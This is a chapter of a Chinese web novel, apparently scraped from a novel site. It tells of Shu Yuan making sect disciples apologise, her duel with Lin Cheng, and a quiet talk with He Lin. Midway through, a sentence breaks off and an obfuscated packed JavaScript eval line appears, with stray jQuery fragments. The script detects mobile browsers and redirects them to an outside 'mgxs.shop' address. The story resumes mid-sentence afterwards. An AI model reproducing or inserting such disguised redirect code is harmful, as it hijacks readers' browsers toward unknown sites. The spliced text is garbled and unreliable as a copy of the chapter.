115. 离别的奏曲 黎明前夜

作品:《男主他是个摄像头

    舒芫说完这话后,气氛瞬间凝固,就连贺临也惊讶地抬头朝她看去。


    舒芫却一脸执拗,走过来站在其中一名弟子面前,认真道:“道歉。”


    刚才还怒视着她的弟子顿时消了气焰,不自在地避开舒芫的目光嘟囔道:“我怎么对不起你了?再说大家都这么做,又不单单只是我。”


    舒芫深吸一口气,环视了在场的所有人一眼,沉声道:“别急,他们也得道歉,会轮到他们的。”


    被舒芫点名的弟子承受不住她的逼视,声音也愈来愈弱,“我没什么对不起你的。”


    “我和你们一样两只眼睛一张嘴巴,难道我就不是人?我才来玄清派的时候对所有人恭恭敬敬,为何要平白无故受你们的欺凌?”


    一旁的弟子见状抛出一句:“你家手上可是沾了那么多的鲜血,父债子偿,天经地义。”


    “是吗?那你们就能保证手上的鲜血是纯净无瑕的吗,你们家族里也不乏辱门败户的人,为何又视而不见?”


    场面安静了下来,舒芫看向面前的人,再次强硬道:“道歉。”


    “要是不道歉又如何,我不相信你能把我怎么样。”


    听见这话,舒芫偏头朝他看去,晃了晃手中的剑,“和它说去,敢不敢?”


    这会儿彻底没人说话了,她再次把眼神移到面前的人身上,这次还不用她出声,那人便低下头难为情地嗫嚅道:“对不起。”


    舒芫露出个冷漠的笑,走向下一个人,“你呢?”


    有了前车之鉴,这堆人都不敢再放肆,像犯了错的学生一般乖顺如绵羊,“对不起。”


    舒芫没有放过在场的任何人,她清清楚楚记得他们的非议和恶行,只是让他们说声道歉,已经足够仁慈了。


    她像个狠厉的长官,接二连三地检阅了他们的态度,直到最后一个人有气无力地道完了歉,她才露出个冷冷的笑,“别以为这样就会完,其他人一个都跑不掉。”


    “你要如何?”


    一道苍老的声音打断了舒芫的话,而其他人在听到这句话的时候立即激动起来,前赴后继地朝林城簇拥而去。


    “我自然有我的手段,何必告诉你?你也是来道歉的吗?”舒芫承受了矫元三剑,她已经不欠玄清派了,至少不欠眼前这堆人,说话自然毫不客气。


    林城却冷哼一声,亮出手中的剑,像是有备而来,“早知道你不会乖乖下山,受了矫元三剑又如何,你我之间恩怨未了。”


    “看来我在你面前得到了妖魔的待遇,那我也不得不使出非比寻常的手段了。”舒芫说着,将包袱抛给了贺临,还不放心地回头叮嘱了一句:“你别管闲事,我心里有数。”


    贺临还以为舒芫要在这大开杀戒,他真的在她身上感受到了那种气息,现在一听反倒放下心来。


    围在林城旁边的玄清派听说要开战,立马闪到一旁,贺临看了都觉得鄙夷,摇摇头另找了个地方站定,聚精会神地看着舒芫的动作。


    这次舒芫可一点也不手软,上来就使出舒家剑法,打了林城一个措手不及。


    她的功夫以快为著,林城的攻势和防守都慢她一步,只一招慢便再也赶不上,林城逐渐心浮气躁,出招的时候尽是破绽。


    舒芫觉得自己能赢得很轻松,她手中的剑更加凌厉,口中也不忘道:“现在可以道歉了吗?”


    “死都不要想!”


    舒芫听见这话的时候,耳边无端响起一声尖锐的鸣响,气血瞬间翻涌到头顶,差点让她站立不稳。


    按理说她不会这么动气的,归根结底是眼前这人该死,舒芫凝聚心神,咬着牙攻过去。


    这一次她的攻势猛得像股飓风,场上的威压越来越重,这次脸贺临都看出了不寻常,他心中又升起了说不清道不明的惧意,仿佛下一秒舒芫就要变成另一个人,彻底血洗玄清派。


    “杀!”在场的人都只听见了这个沉闷的吼声,这分明不是舒芫的声音,却又不知道它从何而来。


    还不等人仔细探究,嚎叫的阴风顷刻间便席卷了战斗的两人,他们虽无法看清具体发生了什么,却也知道里面正在进行生死的追逐战。


    就在贺临想要发动技能时,阴风却渐渐散去,迅速还了这里一片清静。


    众人这时候才看清,战斗已经停止了,林城倒在地上,而舒芫的剑指着他的颈间,她咬牙切齿地挤出一句:“你输了,道歉。”


    林城却有着超乎异常的偏执,他冷哼一声,“下辈子也不可能。”


    “你!”舒芫的剑瞬间向前刺去,有那么一刻,所有人都以为她杀了林城,可剑尖划到他颈边的时候,舒芫还是忍住了。


    下一秒她举起剑狠狠划向自己的手背,转身急促地喊出贺临的名字。


    “贺临,我们走!”


    贺临不知道她为何突然有这么大的情绪转变,却还是立即跑了上来,掏出手帕裹住舒芫流血的手。


    “这是怎么了?”


    舒芫连伤口都顾不上,拽着贺临的胳膊像逃一般离开。


    下山的路上,舒芫一直阴沉着脸走得飞快,连贺临看了都觉得害怕,她这是为何,难道没能杀了林城让她这么凌乱?


    可看到她的手还在滴血后,贺临还是上前拉住了她,“不能不管,你感觉不到疼吗?”


    舒芫却冷漠地甩开了他,“不用你管。”


    贺临顿了一下,还是选择伸手拉住她,声音低了下去,像央求一般开口:“还是让我给你处理吧。”


    舒芫终于没了动静,木然地任由贺临拉起自己的手,见她这么配合,贺临便认真地用清水冲洗,再用干净的手帕将她的手细致包扎起来。


    加强换药的话应该不会感染,会不会留疤就说不定了,但舒芫她会在意这个吗?贺临也觉得好奇,下意识抬头看去后,却发现舒芫正若有所思地盯着自己。


    她不明白自己为什么不抗拒贺临的心意了?


    不过很快她便抽回手,垂下眼眸敛了所有的情


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367796|194667||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    绪,出声道:“快走吧,走到山脚下歇一会。”


    “你累了?那把这些给我。”贺临说着,强硬地将她身上的包袱掳了过去,自然而然地挂在肩上。


    舒芫看了一眼没说话,揉了揉自己的脑袋继续往前走。


    才一来到山脚她便主动停下,寻了根树干便靠了上去,闭上眼睛休息。


    贺临见势不对,蹲下身问:“你觉得哪儿不舒服吗?”


    舒芫皱着眉头本不想回答,但她能想象得出贺临看着自己的样子,是有点可怜,便又闭着眼道:“我没事,用了舒家功夫后总得休养一段时间出才行。现在不会有人追来了,你放心吧。”


    贺临倒是不怎么担心现状,他还是比较担心舒芫的安危,好在没一会她便沉沉进入梦乡,看起来很宁静。


    贺临没有睡意,便只是坐在一边享受着阳光的温暖,而这一坐就坐了好几个时辰,他都起来溜达了几圈,舒芫还是没醒。


    就在贺临思索要不要叫醒她的时候,舒芫却慢悠悠地睁开眼睛,她看向他的时候,睫毛轻颤犹如蝴蝶振翅,像是轻轻撬开他的心门,让贺临不由地呆住了。


    舒芫没计较贺临的无礼,她活动着自己的肩膀,轻声道:“我饿了。”


    贺临闻言如梦初醒,将包袱里的一整张油饼都递了过去,舒芫看了他一眼,掰了一半递回来,“我吃不了那么多。”


    贺临将饼拿在手里,一时间却舍不得吃,正在他心猿意马的时候,却忽然听舒芫问:“你是谁?”


    贺临一怔,看着她道:“我是贺临啊,如假包换。”


    舒芫想听的不是这个,她继续问:“告诉我你的来历。”


    她本不想问的,问出口后他们的关系就不一般了,至少不会再是毫无情谊的路人,可转念一想既然心里都冒出这种念头,问不问其实也无所谓,便也索性问出声。


    突然要和人说起自己的来历,贺临还挺不好意思,他先表了态:“我说了你可别觉得我不正常。”


    舒芫其实一直都觉得贺临不正常,不过此时还是道:“不会,你说吧。”


    贺临一五一十地说起自己的过往,包括那些在舒芫听来会觉得匪夷所思的事迹,他也一股脑地说了出来,说到最后连他自己都觉得抽象。


    再看舒芫时,她脸上的神色果然变了又变,贺临忙道:“我说的都是真的!”


    舒芫听得入了迷,连手中的饼都忘了吃,“真的有这样的地方吗?”她眼里的贺临更不正常了。


    贺临毫不犹豫道:“那是自然,那可是我们先辈千辛万苦才建立起来的世界,哪会有假。”


    舒芫决定这个话题以后再讨,话锋一转问:“死亡是什么滋味?”


    贺临愣了愣,如实回答:“对我来说,会觉得很遗憾,大概是因为我还不想死。”


    舒芫短暂地沉默了片刻,再抬头时眉头深深地皱了起来,“所以你跟着我根本不是因为喜欢我,是因为你不得不这么做,是吗?”